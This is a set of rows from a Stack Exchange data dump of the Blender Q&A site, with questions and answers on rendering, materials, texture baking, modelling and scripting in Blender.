  <row Id="14678" PostTypeId="2" ParentId="14675" CreationDate="2014-08-03T17:28:30.980" Score="4" Body="&lt;p&gt;Make sure your using &lt;strong&gt;blender internal&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iONby.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's under the world panel as per screenshot.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EI5Wf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-08-03T17:45:39.433" LastActivityDate="2014-08-03T17:45:39.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14679" PostTypeId="2" ParentId="14675" CreationDate="2014-08-03T17:29:20.970" Score="3" Body="&lt;p&gt;Set your render engine to &lt;strong&gt;Blender Render&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f8Ooq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to Properties-&gt;World tab,&#xA;enable &lt;strong&gt;Blend Sky&lt;/strong&gt; and assign the colors you want for Horizon and Zenith.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xIAAg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-08-03T17:29:20.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14680" PostTypeId="2" ParentId="14673" CreationDate="2014-08-03T17:50:34.903" Score="2" Body="&lt;p&gt;Try using a noise texture and plug it in the factor of your mix shader.&#xA;Play with the settings of the noise texture and maybe add a color ramp in between for even more control!&lt;/p&gt;&#xA;" OwnerUserId="5243" LastEditorUserId="5243" LastEditDate="2014-08-03T21:33:21.347" LastActivityDate="2014-08-03T21:33:21.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14681" PostTypeId="2" ParentId="14674" CreationDate="2014-08-03T18:04:03.833" Score="5" Body="&lt;p&gt;In Cycles/Eevee and 2.8+ you need to set the &lt;em&gt;Blend Mode&lt;/em&gt; to &lt;em&gt;Alpha Blend&lt;/em&gt; in the Material Settings:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y2Q8f.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y2Q8f.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then set the viewport render level to Material or Rendered.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;In older versions of blender:&lt;/p&gt;&#xA;&lt;p&gt;Enable &lt;em&gt;Transparency&lt;/em&gt; in &lt;em&gt;Properties &amp;gt; Object &amp;gt; Display&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qk6rY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2021-05-14T03:19:43.507" LastActivityDate="2021-05-14T03:19:43.507" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="14682" PostTypeId="1" AcceptedAnswerId="14683" CreationDate="2014-08-03T19:09:14.130" Score="6" ViewCount="462" Body="&lt;p&gt;I was changing the theme's coloring, and made my own custom theme. When I load blender the colorig is normal and I can load my colorful theme from the menu in user preferences. However, I then also changed some of the layout- example: I changed it from cycles to game engine, the timeline to the logic editor, and a bunch of other customizations. then I saved the user preferences, but I had my slightly more colorful theme selected when I saved it. Now when I open blender it looks like this! &lt;img src=&quot;https://i.stack.imgur.com/Ck5t3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the user preferences window under the theme tab, the default theme isn't there. How can I get it back without loading factory settings and losing all the other customizations?&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-11-25T15:26:53.263" LastActivityDate="2015-11-25T15:26:53.263" Title="How can I restore the original theme" Tags="&lt;interface&gt;&lt;customization&gt;&lt;theme&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-11-26T16:01:09.133" ContentLicense="CC BY-SA 3.0" />
  <row Id="14683" PostTypeId="2" ParentId="14682" CreationDate="2014-08-03T19:39:07.337" Score="6" Body="&lt;p&gt;Click &lt;em&gt;Reset to default theme&lt;/em&gt; in &lt;em&gt;User Preferences &gt; Themes&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RTvxK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press &lt;em&gt;Save user settings&lt;/em&gt; to save it.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-03T19:39:07.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14684" PostTypeId="1" AcceptedAnswerId="14754" CreationDate="2014-08-03T21:55:43.440" Score="6" ViewCount="9601" Body="&lt;p&gt;I am creating a rotating knob in Blender for my GUI-project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The knob has to be rendered in 64 different angles. Is there a way I can automate this extremely tedious process with a python script?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Render the knob at 0° Z,&lt;/li&gt;&#xA;&lt;li&gt;Save the file&lt;/li&gt;&#xA;&lt;li&gt;Rotate knob 3°&lt;/li&gt;&#xA;&lt;li&gt;Render&lt;/li&gt;&#xA;&lt;li&gt;Save the file&lt;/li&gt;&#xA;&lt;li&gt;Repeat 64 times&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I want to use the Cycles Render and a high-number of samples (1500-2000).&lt;/p&gt;&#xA;" OwnerUserId="5474" LastEditorUserId="5474" LastEditDate="2014-08-06T10:20:23.457" LastActivityDate="2017-05-15T15:59:42.467" Title="How to rotate object and render with a script" Tags="&lt;python&gt;&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14685" PostTypeId="2" ParentId="14634" CreationDate="2014-08-04T01:49:24.073" Score="0" Body="&lt;p&gt;So the answer I have gathered with your assistance is this: No, for what I wanted to do there is no way to mirror it without using the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, I had to align the bounding box of the foot first, then carefully align the foot to the leg of the avatar. I had to make sure I never rotated it in object mode as that would move the bounding box out of where I needed it to be. Once I aligned the foot, I was able to make a copy of it and move it to another scene. Then I used this foot with the mirror modifier, across the y axis, and chose to keep uvs and vertex groups. I also used the foot from the first scene to be what was mirrored instead of an empty. This was perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much for your assistance @GiantCowFilms and @gandalf3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZhBrl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kzUhx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5213" LastActivityDate="2014-08-04T01:49:24.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14686" PostTypeId="1" AcceptedAnswerId="14687" CreationDate="2014-08-04T02:19:53.717" Score="0" ViewCount="129" Body="&lt;p&gt;In Blender, after resizing a box - ie you could make it very flat like a square tile, the pivot point of the object will likely be outside. How do I move the mesh and/or the pivot so that the pivot will be located exactly in the center of the mesh?&lt;/p&gt;&#xA;" OwnerUserId="5437" LastActivityDate="2014-08-04T02:36:51.610" Title="Center object's mesh around its pivot" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-08-04T12:33:15.727" ContentLicense="CC BY-SA 3.0" />
  <row Id="14687" PostTypeId="2" ParentId="14686" CreationDate="2014-08-04T02:36:51.610" Score="1" Body="&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;C&lt;/kbd&gt;&gt;&lt;em&gt;origin to geometry&lt;/em&gt;. You can also use the 3D cursor as a pivot point, by hitting &lt;kbd&gt;.&lt;/kbd&gt; on your keyboard.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-08-04T02:36:51.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14689" PostTypeId="1" AcceptedAnswerId="14693" CreationDate="2014-08-04T05:53:44.597" Score="6" ViewCount="1557" Body="&lt;p&gt;I would like to draw an object, e.g. a cube, that emits smoke from the top face only but not the rest of the faces. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="5436" LastEditorDisplayName="user1853" LastEditDate="2014-08-04T06:57:42.243" LastActivityDate="2014-08-04T06:57:42.243" Title="Create an object that emits smoke only from specific faces" Tags="&lt;mesh&gt;&lt;objects&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14690" PostTypeId="2" ParentId="14684" CreationDate="2014-08-04T06:00:27.997" Score="2" Body="&lt;p&gt;You don't need to use a script to get 64 individual images. When rendering an animation while the output filetype is set to an image format each frame will be saved to an individual file.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set end frame to 64&lt;/li&gt;&#xA;&lt;li&gt;Set filetype to single image eg. png, jpeg, tiff...&lt;/li&gt;&#xA;&lt;li&gt;Go to frame one and insert a keyframe for rotation&lt;/li&gt;&#xA;&lt;li&gt;Go to last frame and rotate the knob 189 degrees&lt;/li&gt;&#xA;&lt;li&gt;Insert keyframe for rotation&lt;/li&gt;&#xA;&lt;li&gt;Go to graph editor or dopesheet and select all keyframes&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;T&lt;/kbd&gt; and select linear&lt;/li&gt;&#xA;&lt;li&gt;Render animation&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Step 6 and 7 ensures the rotation is the same amount each frame. By default the interpolation will be bezier which will give less rotation at each end and faster in the middle (ease-in and ease-out). You can get around this step if you set the default interpolation to linear in the editing preferences.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-04T06:00:27.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14691" PostTypeId="1" AcceptedAnswerId="15156" CreationDate="2014-08-04T06:07:32.263" Score="1" ViewCount="256" Body="&lt;p&gt;In Blender 2.71, I am trying to use the Blur compositing node to make some blue emitting lines have a glow around them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the render without the blur:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UpV6F.png&quot; alt=&quot;this is to be blurred&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I am getting:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vZ8s6.png&quot; alt=&quot;fail blur attempt&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I want (blur done in GIMP):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/W9e01.png&quot; alt=&quot;desired result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is going on? It honestly looks like the Blur isn't sampling every pixel of the rendered image and is skipping large chunks. Is there any way to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oddly, the cycles autorendered image does it correctly. Just not when I click the Render or Animate buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Here is the Blur Node I am using:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hpthr.png&quot; alt=&quot;Blur Node&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm actually using 3 of them, combining them with Add nodes. The three nodes have, for their X and Y, 10, 15, and 20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried all the other types of blurs beside Gaussian that are available in the drop-down. I've tried clicking all the check-boxes in the node. I've tried reducing the Image Size. Every attempt has had some form of patchy blur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did discover that if I increase the image resolution to 4 times that of normal HDV resolution, I can almost make the patchiness go away, at the expense of taking a very long time to render.&lt;/p&gt;&#xA;" OwnerUserId="5477" LastEditorUserId="599" LastEditDate="2014-08-20T20:32:07.400" LastActivityDate="2014-08-20T20:32:07.400" Title="Compositor blur is patchy?" Tags="&lt;compositor&gt;&lt;blur&gt;" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="14692" PostTypeId="1" CreationDate="2014-08-04T06:31:45.687" Score="5" ViewCount="2385" Body="&lt;p&gt;My script creates an image, bakes to it and saves it. The first time, it works. However, if I try to re-bake to the same image, and in the mean time the user decides to delete the image from disk for whatever reason, bake throws an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RuntimeError: Error: Uninitialized image&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I re-initialize an image to solve the user-deletion problem, or, say, to change its resolution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried creating and deleting a new temporary image for each bake, and that sort of works, but if I do this at the end,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;baketarget.user_clear()&#xA;bpy.data.images.remove(baketarget)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it leaves an unresolved reference in the uv/image editor, if that happens to be open at the time the bake is started. How do I unlink the image from the image editor?&lt;/p&gt;&#xA;" OwnerUserId="179" LastEditorUserId="179" LastEditDate="2014-08-04T06:57:10.050" LastActivityDate="2015-05-22T06:17:07.947" Title="How do I re-initialize a deleted image?" Tags="&lt;python&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14693" PostTypeId="2" ParentId="14689" CreationDate="2014-08-04T06:54:40.247" Score="5" Body="&lt;p&gt;Select the top face in &lt;em&gt;Edit Mode&lt;/em&gt; and assign it to a &lt;em&gt;Vertex Group&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MSewX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the Vertex group in the &lt;em&gt;Smoke Flow Advanced&lt;/em&gt; section&lt;/li&gt;&#xA;&lt;li&gt;Limit the distance of emitting from surface by setting &lt;em&gt;Surface&lt;/em&gt; to 0.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ofXiW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-08-04T06:54:40.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14694" PostTypeId="1" CreationDate="2014-08-04T08:55:23.040" Score="2" ViewCount="3714" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6rGpU.jpg&quot; alt=&quot;blender-screen&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to make scenes with natural looking trees in Blender.&#xA;In Blender cycles I try to bake texture images for the leaves but I cannot manage to bake the alpha.&lt;/p&gt;&#xA;" OwnerUserId="5478" LastEditorUserId="2217" LastEditDate="2014-08-04T12:55:36.033" LastActivityDate="2014-08-06T18:06:49.987" Title="How can I bake alpha in cycle nodes-images to make leave textures for my trees?" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14696" PostTypeId="2" ParentId="14623" CreationDate="2014-08-04T10:36:22.007" Score="1" Body="&lt;p&gt;I suggest using the addon &lt;strong&gt;Math vis&lt;/strong&gt; to display vectors, in addition to testing your code in the console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paste the following in the console to see that the vertices are placed at the right locations. I don't know enough maths, but maybe the problem is in the numpy operations...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import numpy&#xA;&#xA;#from mathutils import Vector&#xA;&#xA;from numpy import linalg as LA&#xA;vertices = bpy.context.active_object.data.vertices&#xA;matrix_world = bpy.context.active_object.matrix_world&#xA;verticesArray = numpy.zeros((3,len(vertices)))&#xA;counter = 0&#xA;for index, v in enumerate(vertices):&#xA;    globals()[&quot;vertex&quot;+str(index)] = matrix_world * v.co ##vector to global variable&#xA;    world_coord = matrix_world * v.co&#xA;    verticesArray[0,counter]= world_coord[0]&#xA;    verticesArray[1,counter] = world_coord[1]&#xA;    verticesArray[2,counter] = world_coord[2]&#xA;    counter = counter + 1&#xA;&#xA;convMat = numpy.cov(verticesArray)&#xA;eigenvalues, eigenvectors = LA.eig(convMat)&#xA;for index, vec in enumerate(eigenvectors):&#xA;    print(index, vec)&#xA;    globals()[&quot;vector&quot;+str(index)] = Vector((vec[0], vec[1], vec[2]))&#xA;&#xA;del world_coord&#xA;del matrix_world&#xA;print(eigenvectors)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4979" LastActivityDate="2014-08-04T10:36:22.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14697" PostTypeId="2" ParentId="14661" CreationDate="2014-08-04T12:41:34.780" Score="1" Body="&lt;p&gt;The smooth button does it for you.&lt;br&gt;&#xA;(Left side) &lt;em&gt;Object Tools -&gt; Smooth&lt;/em&gt; (under Shading),&lt;br&gt;&#xA;Then when you go &lt;em&gt;File -&gt; Export -&gt; Wavefront (.obj)&lt;/em&gt;,&lt;br&gt;&#xA; make sure you click on the &lt;em&gt;Include Normals&lt;/em&gt; checkbox.&lt;/p&gt;&#xA;" OwnerUserId="5341" LastEditorUserId="5341" LastEditDate="2014-08-04T12:47:16.280" LastActivityDate="2014-08-04T12:47:16.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14698" PostTypeId="1" AcceptedAnswerId="14700" CreationDate="2014-08-04T12:45:03.827" Score="1" ViewCount="18239" Body="&lt;p&gt;I have a cube, and I would like it to have a text inscribed in it, so the text would be in the cube but we could see it. Is it possible to do this?&lt;/p&gt;&#xA;" OwnerUserId="5479" LastEditorDisplayName="user1853" LastEditDate="2014-08-05T05:04:26.060" LastActivityDate="2016-08-07T17:02:29.533" Title="Inscribing text into an object" Tags="&lt;text-object&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ClosedDate="2015-10-24T15:29:43.680" ContentLicense="CC BY-SA 3.0" />
  <row Id="14699" PostTypeId="2" ParentId="14698" CreationDate="2014-08-04T12:51:36.290" Score="4" Body="&lt;p&gt;There are plenty of ways to do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) You could apply a texture of a text, and use it as a displacement in the displacement modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) You could create your text with blender text (add some thickness to it), then tessellate it so it becomes a mesh, and then apply a boolean operator on your cube with the text (depending on, if want it inscribed or extruded appearance).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend (2.) as it involves much cleaner operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a quick workflow, for different results use a different boolean operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2FMuA.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/32jFg.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Y2sLk.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ymjrY.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TNrPJ.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/i3ib4.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Qk35w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5341" LastEditorUserId="5341" LastEditDate="2014-08-04T13:13:31.813" LastActivityDate="2014-08-04T13:13:31.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14700" PostTypeId="2" ParentId="14698" CreationDate="2014-08-04T13:52:03.830" Score="6" Body="&lt;p&gt;You could also use &lt;em&gt;Knife Project&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Subdivide the face you want to be engraved (knife project needs some geometry)&lt;/li&gt;&#xA;&lt;li&gt;Place the text above the face.&lt;/li&gt;&#xA;&lt;li&gt;Select the text&lt;/li&gt;&#xA;&lt;li&gt;Select the cube (must be the active object)&lt;/li&gt;&#xA;&lt;li&gt;Change to &lt;em&gt;Edit Mode&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click Knife Project&lt;/li&gt;&#xA;&lt;li&gt;Extrude the selected faces (in or out)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dWpSY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="7873" LastEditDate="2016-08-07T17:02:29.533" LastActivityDate="2016-08-07T17:02:29.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14702" PostTypeId="2" ParentId="14694" CreationDate="2014-08-04T15:31:13.303" Score="0" Body="&lt;p&gt;Maybe you could use a mix shader with an emission shader and a transparent shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the node editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Factor: Use the alpha map (black and white) that you used for the leaf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Emission shader: Use the image you just baked (no alpha).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transparent: leave it white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tried it but I think could work.&lt;/p&gt;&#xA;" OwnerUserId="5481" LastEditorUserId="241" LastEditDate="2014-08-04T15:44:28.657" LastActivityDate="2014-08-04T15:44:28.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14703" PostTypeId="2" ParentId="14694" CreationDate="2014-08-04T18:40:50.220" Score="5" Body="&lt;p&gt;Start with a picture of leaves. This one I took is not the best example since I did not put the leaves on a neutral background which makes selecting the background in a 2D editor less precise.  Just put the leaves on a sheet of paper when taking the picture and things should work out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(if you have difficulty seeing detail of the images I've posted, you can right-click the picture and select &lt;em&gt;View Image&lt;/em&gt;.  It will open up to it's full size.)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gKnoO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in GIMP or preferably Krita because the selection tool is much better, select the background and flood fill this selection with black.  Invert the selection so the leaves are outlined and fill them with white.  You may also want to blur the mask a bit so the leaves have soft edges.  This will help to hide artifacts left from the selection tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xp8Xn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I baked the leaves using the following nodes, you can set the render samples very low for baking Emission. There should be no noise at all using 8-16 AA samples.&lt;br&gt;&#xA;Remember to increase the color value of the Emission shader all the way to full white.  It's default is 0.8.  Set that to 1.0 instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Eqw5W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the result I got from the bake. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JJFl8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the final node setup up for the scene render, &lt;img src=&quot;https://i.stack.imgur.com/p0aWS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To separate leaves like this you can enter Edit mode with the plane selected which has the leaves all together on one sheet.  This will make it easier to UV unwrap the separate leaves.&#xA;So now add a bunch of planes and scale them to the size of the leaves on the image plane.&#xA;Now select everything, including the plane which has the leaves already and press the 'u' key and select Project From View(bounds).  The original plane will act as a container for the unwrapping algorithm and this will keep the new leaf planes proportional to the image they will be mapped to so no extra adjustments will have to be made at this stage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NzgSN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now locate the UV maps area that is shown in the following image and click the + sign to add a new UV set and give it a name that makes sense to you.  Also make sure to activate it and click the camera icon at the right side.  Whatever is selected here will be the image that is baked to.  Now this time for Unwrapping, I used the one at the top labeled 'Unwrap' and I set the margin to '0' since the edges will be transparent and there will be no seams.  There will also not be any mip-mapping issues because of the transparency if you decide to also do something like this for a game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After they were unwrapped and the original plane was deleted, I selected all the 'leaves' and separated them using &lt;em&gt;Separate&lt;/em&gt; &lt;kbd&gt;p&lt;/kbd&gt;-&gt;By Loose Parts.  Now return to Edit mode, select them all and use  &lt;kbd&gt;Ctrl&lt;/kbd&gt; +  &lt;kbd&gt;g&lt;/kbd&gt; to make them a group.  You can now use this group in the Particle generator settings to add them all in together but still as separate pieces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5aHgj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To bake the color, I used the baked texture that I showed how to make from the steps earlier.  Here is what it looks like now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EoeKS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I also did the same thing for baking the black and white stencil.  I just replaced the baked texture node with the stencil node from the earlier steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VLyMQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I used Texture Paint mode to clean up the edges for both the newly baked textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PBP78.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then sketched out a quick wireframe for a tree then used the Skin Modifier to fill it out.  Applied the modifier and clean the mesh up a bit then added a Sub-surf modifier.  Now I added a particle system set to Type:Hair and adjusted a few settings.  I also used Weight Paint mode to control the leaf Density and Length. Here is the final result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JHSdm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-08-06T18:06:49.987" LastActivityDate="2014-08-06T18:06:49.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14704" PostTypeId="1" AcceptedAnswerId="14705" CreationDate="2014-08-04T20:45:31.947" Score="2" ViewCount="1320" Body="&lt;p&gt;I am working on a scene which is a corridor, and I want it to seem like someone is &quot;holding&quot; the blender camera while running down the corridor. I asked how I would accomplish this and someone said to hold a camera in real life and run down a hallway with contrasting objects that can be tracked. So I went ahead and did this, however, the way I want it to show up and the way I filmed it I moved the camera around and looked at the walls and moved in different directions to make it look like the person running down the corridor was looking around, which means that the markers come in and out of view and no marker stays in the view the whole time. How can I make it so that when Im looking straight at a marker it is tracked and then when I move the camera away to look at the wall then back straight ahead the marker is then tracked again? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry about the long question thanks in advance for the help.&lt;/p&gt;&#xA;" OwnerUserId="5344" LastActivityDate="2016-11-13T04:51:07.493" Title="Camera tracking: Moving the camera too much" Tags="&lt;animation&gt;&lt;camera&gt;&lt;tracking&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
